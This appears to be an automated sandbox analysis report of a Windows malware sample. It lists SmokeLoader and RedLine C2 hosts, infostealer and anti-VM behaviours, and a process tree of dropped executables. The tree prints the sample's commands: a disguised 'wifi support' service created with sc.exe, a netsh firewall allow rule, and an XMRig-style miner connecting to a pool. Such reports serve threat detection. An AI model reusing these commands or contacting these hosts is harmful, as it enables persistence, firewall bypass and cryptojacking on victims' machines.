Analysis

  • max time kernel
    153s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    19/09/2021, 12:56

General

  • Target
    cbbd811dba00f28e1cb627f78b40535ae246edb9d9dcf.exe
  • Size 242KB
  • Sample210919-p6cslsefer
  • SHA256 cbbd811dba00f28e1cb627f78b40535ae246edb9d9dcf1e9a6ff877960e98113
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://venerynnet1.top/

  • http://kevonahira2.top/

  • http://vegangelist3.top/

  • http://kingriffaele4.top/

  • http://arakeishant5.top/

rc4.i32
rc4.i32

Extracted

Family
  • redline

Botnet
  • installEXE

C2
  • 146.70.35.170:30905

Extracted

Family
  • redline

Botnet
  • UDP

C2
  • 45.9.20.20:13441

Extracted

Family
  • redline

Botnet
  • superstarlogs

C2
  • 94.26.249.88:32478

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 8 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 15 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 6 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 10 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 6 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 3 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 14 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 26 IoCs
  • Suspicious use of FindShellTrayWindow 9 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cbbd811dba00f28e1cb627f78b40535ae246edb9d9dcf.exe
    "C:\Users\Admin\AppData\Local\Temp\cbbd811dba00f28e1cb627f78b40535ae246edb9d9dcf.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1820
    • C:\Users\Admin\AppData\Local\Temp\cbbd811dba00f28e1cb627f78b40535ae246edb9d9dcf.exe
      "C:\Users\Admin\AppData\Local\Temp\cbbd811dba00f28e1cb627f78b40535ae246edb9d9dcf.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1648
  • C:\Users\Admin\AppData\Local\Temp\BF39.exe
    C:\Users\Admin\AppData\Local\Temp\BF39.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1804
    • C:\Users\Admin\AppData\Local\Temp\BF39.exe
      C:\Users\Admin\AppData\Local\Temp\BF39.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:1996
  • C:\Users\Admin\AppData\Local\Temp\C487.exe
    C:\Users\Admin\AppData\Local\Temp\C487.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1504
    • C:\Users\Admin\AppData\Local\Temp\C487.exe
      C:\Users\Admin\AppData\Local\Temp\C487.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1168
  • C:\Users\Admin\AppData\Local\Temp\D00C.exe
    C:\Users\Admin\AppData\Local\Temp\D00C.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:1252
  • C:\Users\Admin\AppData\Local\Temp\2AD9.exe
    C:\Users\Admin\AppData\Local\Temp\2AD9.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1980
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ojlqihsh\
      2⤵
        PID:2032
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tnwgtwbn.exe" C:\Windows\SysWOW64\ojlqihsh\
        2⤵
          PID:824
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ojlqihsh binPath= "C:\Windows\SysWOW64\ojlqihsh\tnwgtwbn.exe /d\"C:\Users\Admin\AppData\Local\Temp\2AD9.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1824
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description ojlqihsh "wifi internet conection"
            2⤵
              PID:920
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start ojlqihsh
              2⤵
                PID:1656
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1516
              • C:\Users\Admin\AppData\Local\Temp\3028.exe
                C:\Users\Admin\AppData\Local\Temp\3028.exe
                1⤵
                • Executes dropped EXE
                • Adds Run key to start application
                • Modifies system certificate store
                • Suspicious use of AdjustPrivilegeToken
                PID:1804
                • C:\Windows\system32\WerFault.exe
                  C:\Windows\system32\WerFault.exe -u -p 1804 -s 1488
                  2⤵
                  • Program crash
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1308
              • C:\Windows\SysWOW64\ojlqihsh\tnwgtwbn.exe
                C:\Windows\SysWOW64\ojlqihsh\tnwgtwbn.exe /d"C:\Users\Admin\AppData\Local\Temp\2AD9.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:1820
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:1500
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2156
              • C:\Users\Admin\AppData\Local\Temp\42AF.exe
                C:\Users\Admin\AppData\Local\Temp\42AF.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:1588
              • C:\Users\Admin\AppData\Local\Temp\4CFC.exe
                C:\Users\Admin\AppData\Local\Temp\4CFC.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:1140
              • C:\Users\Admin\AppData\Local\Temp\526A.exe
                C:\Users\Admin\AppData\Local\Temp\526A.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:1296
              • C:\Users\Admin\AppData\Local\Temp\5F46.exe
                C:\Users\Admin\AppData\Local\Temp\5F46.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of SetThreadContext
                PID:2028
                • C:\Users\Admin\AppData\Local\Temp\5F46.exe
                  C:\Users\Admin\AppData\Local\Temp\5F46.exe
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2004
              • C:\Users\Admin\AppData\Local\Temp\6714.exe
                C:\Users\Admin\AppData\Local\Temp\6714.exe
                1⤵
                • Executes dropped EXE
                PID:1720
              • C:\Users\Admin\AppData\Local\Temp\7181.exe
                C:\Users\Admin\AppData\Local\Temp\7181.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:332

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

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                    Downloads

                    memory/332-168-0x00000000010F0000-0x00000000010F1000-memory.dmp

                    memory/332-170-0x0000000005030000-0x0000000005031000-memory.dmp

                    memory/1140-139-0x0000000004881000-0x0000000004882000-memory.dmp

                    memory/1140-135-0x00000000003E0000-0x00000000003FF000-memory.dmp

                    memory/1140-136-0x00000000006F0000-0x000000000070E000-memory.dmp

                    memory/1140-137-0x0000000000220000-0x0000000000250000-memory.dmp

                    memory/1140-138-0x0000000000400000-0x0000000000460000-memory.dmp

                    memory/1140-140-0x0000000004882000-0x0000000004883000-memory.dmp

                    memory/1140-142-0x0000000004884000-0x0000000004886000-memory.dmp

                    memory/1140-141-0x0000000004883000-0x0000000004884000-memory.dmp

                    memory/1168-90-0x0000000000400000-0x0000000000422000-memory.dmp

                    memory/1168-87-0x0000000000400000-0x0000000000422000-memory.dmp

                    memory/1168-93-0x00000000020D0000-0x00000000020D1000-memory.dmp

                    memory/1208-64-0x0000000004B20000-0x0000000004B35000-memory.dmp

                    memory/1208-92-0x0000000003E90000-0x0000000003EA5000-memory.dmp

                    memory/1208-94-0x00000000041F0000-0x0000000004200000-memory.dmp

                    memory/1252-86-0x0000000002820000-0x0000000002821000-memory.dmp

                    memory/1252-84-0x0000000000190000-0x0000000000191000-memory.dmp

                    memory/1296-145-0x0000000000400000-0x0000000000493000-memory.dmp

                    memory/1296-144-0x00000000002E0000-0x0000000000370000-memory.dmp

                    memory/1308-130-0x0000000002100000-0x0000000002101000-memory.dmp

                    memory/1308-116-0x000007FEFBED1000-0x000007FEFBED3000-memory.dmp

                    memory/1500-120-0x0000000000080000-0x0000000000095000-memory.dmp

                    memory/1504-78-0x00000000045C0000-0x00000000045C1000-memory.dmp

                    memory/1504-76-0x0000000000AA0000-0x0000000000AA1000-memory.dmp

                    memory/1588-129-0x0000000005A40000-0x0000000005A41000-memory.dmp

                    memory/1588-127-0x0000000001220000-0x0000000001221000-memory.dmp

                    memory/1648-62-0x0000000076641000-0x0000000076643000-memory.dmp

                    memory/1648-60-0x0000000000400000-0x0000000000408000-memory.dmp

                    memory/1720-161-0x00000000005E0000-0x00000000006B2000-memory.dmp

                    memory/1720-163-0x0000000000400000-0x0000000000563000-memory.dmp

                    memory/1804-100-0x00000000011D0000-0x00000000011D1000-memory.dmp

                    memory/1804-106-0x000000001B1F0000-0x000000001B1F2000-memory.dmp

                    memory/1820-63-0x0000000000020000-0x0000000000029000-memory.dmp

                    memory/1820-125-0x0000000000400000-0x000000000044D000-memory.dmp

                    memory/1980-104-0x0000000000020000-0x0000000000033000-memory.dmp

                    memory/1980-105-0x0000000000400000-0x000000000044D000-memory.dmp

                    memory/2004-159-0x0000000000400000-0x0000000000422000-memory.dmp

                    memory/2004-156-0x0000000000400000-0x0000000000422000-memory.dmp

                    memory/2004-162-0x0000000001260000-0x0000000001261000-memory.dmp

                    memory/2028-152-0x00000000006C0000-0x00000000006C1000-memory.dmp

                    memory/2028-149-0x00000000012C0000-0x00000000012C1000-memory.dmp

                    memory/2156-171-0x0000000000100000-0x00000000001F1000-memory.dmp